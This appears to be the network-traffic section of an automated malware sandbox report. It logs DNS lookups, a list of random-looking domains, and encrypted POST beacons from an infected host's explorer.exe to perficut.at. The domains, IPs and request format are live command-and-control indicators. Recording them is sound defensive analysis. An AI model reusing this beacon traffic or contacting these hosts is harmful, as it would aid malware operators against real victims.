Feb 16, 2023 11:50:28.125952959 CET	8.8.8.8	192.168.2.3	0x3e2e	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.125952959 CET	8.8.8.8	192.168.2.3	0x3e2e	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.125952959 CET	8.8.8.8	192.168.2.3	0x3e2e	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.177234888 CET	8.8.8.8	192.168.2.3	0x3a5d	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.287636995 CET	8.8.8.8	192.168.2.3	0xd44e	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.287636995 CET	8.8.8.8	192.168.2.3	0xd44e	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.352674961 CET	8.8.8.8	192.168.2.3	0x1d53	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.385190010 CET	8.8.8.8	192.168.2.3	0x142b	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.385190010 CET	8.8.8.8	192.168.2.3	0x142b	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.424973011 CET	8.8.8.8	192.168.2.3	0x28ee	No error (0)	www.cokocoko.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.424973011 CET	8.8.8.8	192.168.2.3	0x28ee	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.424973011 CET	8.8.8.8	192.168.2.3	0x28ee	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.424973011 CET	8.8.8.8	192.168.2.3	0x28ee	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.466142893 CET	8.8.8.8	192.168.2.3	0x4b9	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.466142893 CET	8.8.8.8	192.168.2.3	0x4b9	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.490839005 CET	8.8.8.8	192.168.2.3	0x34a5	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.490839005 CET	8.8.8.8	192.168.2.3	0x34a5	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.595036030 CET	8.8.8.8	192.168.2.3	0xa19	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.595817089 CET	8.8.8.8	192.168.2.3	0xf9b7	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.708878994 CET	8.8.8.8	192.168.2.3	0xee0	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.714598894 CET	8.8.8.8	192.168.2.3	0x552d	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.714598894 CET	8.8.8.8	192.168.2.3	0x552d	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.739975929 CET	8.8.8.8	192.168.2.3	0x6af5	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.760421038 CET	8.8.8.8	192.168.2.3	0xa3f7	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.801521063 CET	8.8.8.8	192.168.2.3	0x1b3b	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.801521063 CET	8.8.8.8	192.168.2.3	0x1b3b	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.813172102 CET	8.8.8.8	192.168.2.3	0x545f	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.813172102 CET	8.8.8.8	192.168.2.3	0x545f	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.861141920 CET	8.8.8.8	192.168.2.3	0xff6e	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.894007921 CET	8.8.8.8	192.168.2.3	0x7146	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.931112051 CET	8.8.8.8	192.168.2.3	0xdf3d	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.931112051 CET	8.8.8.8	192.168.2.3	0xdf3d	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.941092968 CET	8.8.8.8	192.168.2.3	0x6de6	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.941092968 CET	8.8.8.8	192.168.2.3	0x6de6	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.961585999 CET	8.8.8.8	192.168.2.3	0x8e3f	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.969578981 CET	8.8.8.8	192.168.2.3	0xa724	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:28.969578981 CET	8.8.8.8	192.168.2.3	0xa724	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:28.990334034 CET	8.8.8.8	192.168.2.3	0xf24d	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.048161983 CET	8.8.8.8	192.168.2.3	0xfd45	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.087369919 CET	8.8.8.8	192.168.2.3	0xca26	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.178909063 CET	8.8.8.8	192.168.2.3	0x188c	No error (0)	www.findbc.com		13.248.216.40	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.178909063 CET	8.8.8.8	192.168.2.3	0x188c	No error (0)	www.findbc.com		76.223.65.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.187972069 CET	8.8.8.8	192.168.2.3	0x80bb	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.216976881 CET	8.8.8.8	192.168.2.3	0xa71e	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.381016970 CET	8.8.8.8	192.168.2.3	0x5a1	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.527988911 CET	8.8.8.8	192.168.2.3	0x98b5	No error (0)	www.netcr.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:29.527988911 CET	8.8.8.8	192.168.2.3	0x98b5	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:29.527988911 CET	8.8.8.8	192.168.2.3	0x98b5	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.527988911 CET	8.8.8.8	192.168.2.3	0x98b5	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.551847935 CET	8.8.8.8	192.168.2.3	0xc308	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.665221930 CET	8.8.8.8	192.168.2.3	0xdc8a	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:29.665221930 CET	8.8.8.8	192.168.2.3	0xdc8a	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:29.665221930 CET	8.8.8.8	192.168.2.3	0xdc8a	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.827320099 CET	8.8.8.8	192.168.2.3	0x6e0c	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.848495007 CET	8.8.8.8	192.168.2.3	0x95e2	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.848495007 CET	8.8.8.8	192.168.2.3	0x95e2	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.891289949 CET	8.8.8.8	192.168.2.3	0x2952	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.914208889 CET	8.8.8.8	192.168.2.3	0xb578	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:29.914208889 CET	8.8.8.8	192.168.2.3	0xb578	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:29.930355072 CET	8.8.8.8	192.168.2.3	0x1f16	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.188546896 CET	8.8.8.8	192.168.2.3	0x39a3	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:30.188546896 CET	8.8.8.8	192.168.2.3	0x39a3	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:30.188546896 CET	8.8.8.8	192.168.2.3	0x39a3	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.39	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.188546896 CET	8.8.8.8	192.168.2.3	0x39a3	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.92	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.188546896 CET	8.8.8.8	192.168.2.3	0x39a3	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.93	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.188546896 CET	8.8.8.8	192.168.2.3	0x39a3	No error (0)	d2kt7vovxa5e81.cloudfront.net		108.156.2.72	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.203500986 CET	8.8.8.8	192.168.2.3	0x6732	No error (0)	www.stajum.com		103.3.1.161	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.407996893 CET	8.8.8.8	192.168.2.3	0x8146	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.467452049 CET	8.8.8.8	192.168.2.3	0x7023	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.629286051 CET	8.8.8.8	192.168.2.3	0xadeb	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:30.629286051 CET	8.8.8.8	192.168.2.3	0xadeb	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:30.880135059 CET	8.8.8.8	192.168.2.3	0x3256	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:30.880135059 CET	8.8.8.8	192.168.2.3	0x3256	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:30.880135059 CET	8.8.8.8	192.168.2.3	0x3256	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:30.880135059 CET	8.8.8.8	192.168.2.3	0x3256	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 16, 2023 11:50:30.880135059 CET	8.8.8.8	192.168.2.3	0x3256	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:31.004168034 CET	8.8.8.8	192.168.2.3	0x8fdf	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:31.144205093 CET	8.8.8.8	192.168.2.3	0x3a12	No error (0)	www.myropcb.com		74.208.215.199	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:31.174931049 CET	8.8.8.8	192.168.2.3	0x667e	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:31.310020924 CET	8.8.8.8	192.168.2.3	0xcd66	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:32.520481110 CET	8.8.8.8	192.168.2.3	0xe6de	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Feb 16, 2023 11:50:32.981441975 CET	8.8.8.8	192.168.2.3	0x145c	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beg.com.ve

mpgrnvliti.net

perficut.at

yloravu.net

pnphhtrvf.org

23.106.124.133

wfofmsqw.com

ublja.net

gqjdijg.com

hmmchdvdhl.net

qcrfmk.com

dybvj.net

sjdvap.org

mhgxjfqsf.com

dqwgjhs.com

lbjhakekto.org

crgmjmuijj.org

korukrn.com

alssy.net

qxpxbrtvn.com

legvdygi.net

rdrxyeo.net

vnowdj.org

ayfunfy.com

tyxon.org

capmtub.net

ufhdnlxmao.com

xxodssdgca.net

jouqv.com

hncaebxe.net

rjvenvf.org

wnfirxy.org

xrupmqdl.org

h167471.srv11.test-hf.su

qfcwg.org

fkjfqkvydx.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49706	190.114.9.88	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49697	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:06.216974020 CET	154	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mpgrnvliti.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: perficut.at
Feb 16, 2023 11:49:06.217040062 CET	155	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 77 34 d4 fa Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA .[k,vuw4QZkIX%Ij ,{g Ef9<Tde:,l~rRd\|BUf>CRPCY,!-@vo+,ar
Feb 16, 2023 11:49:07.080768108 CET	155	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 86 e4 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49707	210.182.29.70	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:31.162094116 CET	4795	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dybvj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 265 Host: perficut.at
Feb 16, 2023 11:49:31.162220001 CET	4796	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 0f 6b 2c 90 f4 76 0b 75 59 2f af ba Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA ,[k,vuY/sdbCh1RI8;<)f"}\sTMF5tD3oHHzZ5wB^wa{'W%(seQY\'f8jh6CD
Feb 16, 2023 11:49:32.334059954 CET	4796	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49708	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:32.584270000 CET	4797	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sjdvap.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: perficut.at
Feb 16, 2023 11:49:32.584270954 CET	4797	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 71 4f f0 f1 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vuqO\|z%5Us2kH6sC5 9H;FL+QuEKB5
Feb 16, 2023 11:49:33.485677004 CET	4798	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49709	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:33.960288048 CET	4799	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mhgxjfqsf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 198 Host: perficut.at
Feb 16, 2023 11:49:33.961466074 CET	4799	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 71 04 b7 a3 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vuqMZ"fWM/4A81nS*ZL$LdSW%!SFOF~?`9?Q
Feb 16, 2023 11:49:34.882044077 CET	4800	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49710	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:36.140422106 CET	4801	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dqwgjhs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 219 Host: perficut.at
Feb 16, 2023 11:49:36.140479088 CET	4802	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 55 5f ae e8 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vuU_bFu^ZWhL:wJ$l+>0}[W;ypP4B^Msv&ePz6B.<kes
